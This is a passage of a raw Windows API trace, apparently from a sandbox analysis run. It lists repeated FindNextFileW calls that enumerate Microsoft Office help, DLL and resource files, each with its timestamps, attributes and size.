ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXC", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_COL.HXT", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c107b00, ftCreationTime.dwHighDateTime=0x1ca77cf, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5c107b00, ftLastWriteTime.dwHighDateTime=0x1ca77cf, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOUC_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91408700, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x91408700, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x487dc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV.HXS", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0075.230] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ddaa100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba74a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ddaa100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9271b400, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9271b400, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1cc936, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.HXS", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe30400, ftCreationTime.dwHighDateTime=0x1c2a1b4, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8fe30400, ftLastWriteTime.dwHighDateTime=0x1c2a1b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB.OPG", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXC", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_COL.HXT", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b784700, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b784700, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPUB_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8527700, ftCreationTime.dwHighDateTime=0x1c33a9f, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd8527700, ftLastWriteTime.dwHighDateTime=0x1c33a9f, nFileSizeHigh=0x0, nFileSizeLow=0x7d682, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSQRY32.CHM", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8c44700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8c44700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x15d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTINTL.DLL", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e84c00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeeedb470, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x88e84c00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x5f254, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE.HXS", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_COL.HXC", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_COL.HXT", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416e2800, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x416e2800, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTORE_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK.CSS", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK1.VRD", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x866, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK2.VRD", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK3.VRD", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeefd00, ftCreationTime.dwHighDateTime=0x1c2c076, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeaeefd00, ftLastWriteTime.dwHighDateTime=0x1c2c076, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCCMPVRD.XML", cAlternateFileName="")) returned 1 [0075.231] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b675400, ftCreationTime.dwHighDateTime=0x1c2c0e2, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4b675400, ftLastWriteTime.dwHighDateTime=0x1c2c0e2, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCMODVRD.XML", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde567d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xde567d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x81380, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFOWCI.DLL", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6fd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS.HXS", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="OISINTL.DLL", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_COL.HXC", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_COL.HXT", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="OIS_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8de21e00, ftCreationTime.dwHighDateTime=0x1cab7cf, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8de21e00, ftLastWriteTime.dwHighDateTime=0x1cab7cf, nFileSizeHigh=0x0, nFileSizeLow=0x62180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70618400, ftCreationTime.dwHighDateTime=0x1cab7d0, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70618400, ftLastWriteTime.dwHighDateTime=0x1cab7d0, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OMSINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0xdf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONELEV.EXE", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE.HXS", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xabfa4f00, ftCreationTime.dwHighDateTime=0x1cab7cc, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabfa4f00, ftLastWriteTime.dwHighDateTime=0x1cab7cc, nFileSizeHigh=0x0, nFileSizeLow=0x25e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteSyncPCIntl.dll", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xc7ce790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXC", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_COL.HXT", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48953600, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48953600, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONENOTE_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb96d3b00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb96d3b00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x148d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONGuide.onepkg", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb7e9d00, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb7e9d00, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x341f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc7f48f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3266200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x3b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ONINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.232] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3266200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0xc81aa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, 